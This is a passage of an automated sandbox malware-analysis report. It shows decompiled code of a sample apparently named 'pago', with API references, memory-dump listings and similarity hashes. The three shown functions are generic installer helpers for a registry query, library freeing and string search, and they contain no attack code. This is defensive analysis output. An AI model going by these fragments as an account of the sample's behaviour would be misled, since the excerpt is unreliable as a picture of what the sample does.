                                                                  0x0040643f
                                                                  0x00406451
                                                                  0x0040645c
                                                                  0x00406462
                                                                  0x0040646d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040646d
                                                                  0x00406481

                                                                  APIs
                                                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000000,?,00000000,?,?,Call,?,?,00406672,80000002), ref: 00406451
                                                                  • RegCloseKey.ADVAPI32(?,?,00406672,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll), ref: 0040645C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CloseQueryValue
                                                                  • String ID: Call
                                                                  • API String ID: 3356406503-1824292864
                                                                  • Opcode ID: a598e195228f1036644e08b1753da052d1713cd74bd9ea8ab147b12b545f69e3
                                                                  • Instruction ID: a8d415a3dc4e4479eaaa65942f717852bb8bd3539c12dad3b2e52d491ce509ba
                                                                  • Opcode Fuzzy Hash: a598e195228f1036644e08b1753da052d1713cd74bd9ea8ab147b12b545f69e3
                                                                  • Instruction Fuzzy Hash: FB017C72510209AADF21CF51CC09EDB3BB8FB54364F01803AFD5AA6190D738D968DBA8
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00403B57() {
                                                                  				void* _t2;
                                                                  				void* _t3;
                                                                  				void* _t6;
                                                                  				void* _t8;
                                                                  
                                                                  				_t8 =  *0x42b22c;
                                                                  				_t3 = E00403B3C(_t2, 0);
                                                                  				if(_t8 != 0) {
                                                                  					do {
                                                                  						_t6 = _t8;
                                                                  						_t8 =  *_t8;
                                                                  						FreeLibrary( *(_t6 + 8));
                                                                  						_t3 = GlobalFree(_t6);
                                                                  					} while (_t8 != 0);
                                                                  				}
                                                                  				 *0x42b22c =  *0x42b22c & 0x00000000;
                                                                  				return _t3;
                                                                  			}







                                                                  0x00403b58
                                                                  0x00403b60
                                                                  0x00403b67
                                                                  0x00403b6a
                                                                  0x00403b6a
                                                                  0x00403b6c
                                                                  0x00403b71
                                                                  0x00403b78
                                                                  0x00403b7e
                                                                  0x00403b82
                                                                  0x00403b83
                                                                  0x00403b8b

                                                                  APIs
                                                                  • FreeLibrary.KERNEL32(?,76F1FAA0,00000000,C:\Users\user\AppData\Local\Temp\,00403B2F,00403A5E,?), ref: 00403B71
                                                                  • GlobalFree.KERNEL32 ref: 00403B78
                                                                  Strings
                                                                  • C:\Users\user\AppData\Local\Temp\, xrefs: 00403B57
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Free$GlobalLibrary
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\
                                                                  • API String ID: 1100898210-3936084776
                                                                  • Opcode ID: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
                                                                  • Instruction ID: 19c5699a9bb8b3376c06320bd1355d3f7d45777e2bc9a3354ca833756e7661a4
                                                                  • Opcode Fuzzy Hash: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
                                                                  • Instruction Fuzzy Hash: 40E0EC3290212097C7615F55FE08B6E7B78AF49B26F05056AE884BB2628B746D428BDC
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00405F92(void* __ecx, CHAR* _a4, CHAR* _a8) {
                                                                  				int _v8;
                                                                  				int _t12;
                                                                  				int _t14;
                                                                  				int _t15;
                                                                  				CHAR* _t17;
                                                                  				CHAR* _t27;
                                                                  
                                                                  				_t12 = lstrlenA(_a8);
                                                                  				_t27 = _a4;
                                                                  				_v8 = _t12;
                                                                  				while(lstrlenA(_t27) >= _v8) {
                                                                  					_t14 = _v8;
                                                                  					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
                                                                  					_t15 = lstrcmpiA(_t27, _a8);
                                                                  					_t27[_v8] =  *(_t14 + _t27);
                                                                  					if(_t15 == 0) {
                                                                  						_t17 = _t27;
                                                                  					} else {
                                                                  						_t27 = CharNextA(_t27);
                                                                  						continue;
                                                                  					}
                                                                  					L5:
                                                                  					return _t17;
                                                                  				}
                                                                  				_t17 = 0;
                                                                  				goto L5;
                                                                  			}









                                                                  0x00405fa2
                                                                  0x00405fa4
                                                                  0x00405fa7
                                                                  0x00405fd3
                                                                  0x00405fac
                                                                  0x00405fb5
                                                                  0x00405fba
                                                                  0x00405fc5
                                                                  0x00405fc8
                                                                  0x00405fe4
                                                                  0x00405fca
                                                                  0x00405fd1
                                                                  0x00000000
                                                                  0x00405fd1
                                                                  0x00405fdd
                                                                  0x00405fe1
                                                                  0x00405fe1
                                                                  0x00405fdb
                                                                  0x00000000

                                                                  APIs
                                                                  • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
                                                                  • lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBA
                                                                  • CharNextA.USER32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FCB
                                                                  • lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: lstrlen$CharNextlstrcmpi
                                                                  • String ID:
                                                                  • API String ID: 190613189-0
                                                                  • Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
                                                                  • Instruction ID: bd09551308ad338638525116890fdadd4ab1f465f5503068af61de479685a4e4
                                                                  • Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
                                                                  • Instruction Fuzzy Hash: 34F0C231604418FFC7029BA5CD0099EBBA8EF06250B2140AAF840FB210D678DE019BA9
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%